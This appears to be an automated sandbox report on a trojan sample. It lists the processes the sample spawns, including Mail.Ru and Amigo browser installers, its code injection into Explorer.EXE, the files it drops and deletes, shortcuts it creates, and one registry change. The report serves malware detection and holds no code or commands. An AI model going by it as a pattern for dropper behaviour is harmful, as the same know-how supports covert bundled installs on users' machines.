Trojan.GenericKD.1849317_102ef36863

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1240
mailruhomesearch.exe:300
dwwin.exe:1852
amigo.exe:1204
AmigoDistrib.exe:1136
r45215.exe:1644
Winhlp313.exe:1632
setup.exe:1352
MailRuUpdater.exe:476
MailRuUpdater.exe:1308

The Trojan injects its code into the following process(es):

Explorer.EXE:888

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1240 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\My Documents\CommonData\Winhlp313.exe (110080 bytes)
%Documents and Settings%\%current user%\busy (1 bytes)

The process mailruhomesearch.exe:300 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Favorites\Mail.Ru Агент - используй для общения!.url (210 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\GoMailRu.ico (16428 bytes)
%Documents and Settings%\All Users\Favorites\Mail.Ru.url (152 bytes)
%Documents and Settings%\%current user%\Desktop\Искать в Интернете.url (209 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Mail.Ru.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\MailRu.ico (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Mail.Ru.lnk (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\D225769804A94F2D80D83FBEFAC700BE.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\11B2B309A54746D081F7D4A684155380.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1A56C5757EF74FD9924F3B92CBB847A0.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Mail.Ru.lnk (0 bytes)

The process dwwin.exe:1852 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\5F18B.dmp (99830 bytes)

The process amigo.exe:1204 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\debug.log (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\User Data\1.tmp (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\User Data\2.tmp (5 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\User Data\Local State~RF5e18d.TMP (0 bytes)

The process AmigoDistrib.exe:1136 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\SETUP.EX_ (1696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\setup.exe (18208 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\CHROME.PACKED.7Z (373523 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\SETUP.EX_ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\setup.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp\CHROME.PACKED.7Z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_E7900.tmp (0 bytes)

The process r45215.exe:1644 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\mailruhomesearch[1].exe (50143 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\mailruhomesearch.exe.xdl! (50143 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AmigoDistrib.exe.xdl! (382822 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\AmigoDistrib[1].exe (382822 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\mailruhomesearch[1].exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AmigoDistrib.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\mailruhomesearch.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\AmigoDistrib[1].exe (0 bytes)

The process Winhlp313.exe:1632 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\r45215.exe (76 bytes)

The process setup.exe:1352 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ja.pak (282 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-BR.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ml.pak (3679 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ru.pak (1642 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\icudt.dll (72365 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nb.pak (213 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\el.pak (1699 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\VisualElementsManifest.xml (391 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Вконтакте.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es-419.pak (237 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\kn.pak (1815 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fil.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\mr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nl.pak (226 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\libegl.dll (109 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\te.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ms.pak (214 bytes)
%Documents and Settings%\%current user%\Desktop\Amigo.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ar.pak (314 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\VisualElements\splash-620x300.png (35 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pl.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fi.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sk.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\te.pak (1805 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hr.pak (222 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Одноклассники.lnk (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Вконтакте.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es.pak (242 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\am.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\amigo.exe (7433 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\gcswf32.dll (100429 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hi.pak (1754 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\resources.pak (180073 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fa.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_child.dll (286042 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Amigo.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\gu.pak (1745 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-BR.pak (226 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_100_percent.pak (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\he.pak (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\MailRu\MailRuUpdater.exe (46100 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_frame_helper.dll (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\ffmpegsumo.dll (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\it.pak (229 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\VisualElements\smalllogo.png (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-TW.pak (195 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\et.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\ppgooglenaclpluginchrome.dll (1747 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ko.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\kn.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\vk.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sl.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bn.pak (1769 bytes)
%Documents and Settings%\%current user%\Desktop\Вконтакте.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\ok.exe (142 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ta.pak (1829 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Amigo.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ru.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\chrome_installer.log (972 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\nacl_irt_x86_64.nexe (28502 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-US.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lv.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\amigo.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\cs.pak (234 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\wow_helper.exe (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\da.pak (213 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\nacl_irt_x86_32.nexe (42362 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fa.pak (1611 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\vi.pak (263 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_launcher.exe (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\VisualElements\logo.png (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\th.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sr.pak (1636 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\vk.exe (167 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ca.pak (236 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\npchrome_frame.dll (15801 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\et.pak (207 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-TW.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-CN.pak (192 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\32.0.1705.153\Installer\setup.exe (7971 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fr.pak (251 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\th.pak (1745 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hu.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\he.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome.dll (283704 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-PT.pak (232 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sl.pak (218 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ja.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\mr.pak (1748 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\es-419.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\uk.pak (1648 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Одноклассники.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\ok.exe (673 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bn.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\d3dcompiler_46.dll (22433 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nb.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sk.pak (241 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ms.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sw.pak (215 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\libglesv2.dll (6349 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\nl.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ko.pak (239 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\metro_driver.dll (1747 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\delegate_execute.exe (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ta.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\tr.pak (231 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\id.pak (209 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ro.pak (242 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\chrome.7z (1326482 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-GB.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\it.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hu.pak (246 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\hi.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\nacl64.exe (12289 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lt.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lt.pak (231 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\master_preferences (982 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\tr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\gu.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\mailruupdater.exe (45823 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fil.pak (239 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\de.pak (234 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Application\master_preferences (982 bytes)
%Documents and Settings%\%current user%\Desktop\Одноклассники.lnk (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-US.pak (195 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\id.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\vi.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\lv.pak (234 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sv.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_frame_helper.exe (85 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\extensions\external_extensions.json (103 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\fi.pak (220 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sw.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ml.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sv.pak (214 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\zh-CN.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\sr.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\am.pak (323 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ro.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pl.pak (229 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\en-GB.pak (195 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\bg.pak (1668 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\chrome_touch_100_percent.pak (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\ar.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\pt-PT.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\secondarytile.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\32.0.1705.153\Locales\uk.dll (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\master_preferences (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\amigo.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\MailRuUpdater.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\ok.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BGVU4RYA\version[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\vk.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Amigo\Temp\source1352_5788\Chrome-bin\wow_helper.exe (0 bytes)

The process MailRuUpdater.exe:476 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\ee0a_appcompat.txt (3002 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\A5902F8E03B3454FBA09513CBF3B46B5.html (0 bytes)

The process MailRuUpdater.exe:1308 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe (46100 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru (0 bytes)

Registry activity

The process %original file name%.exe:1240 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

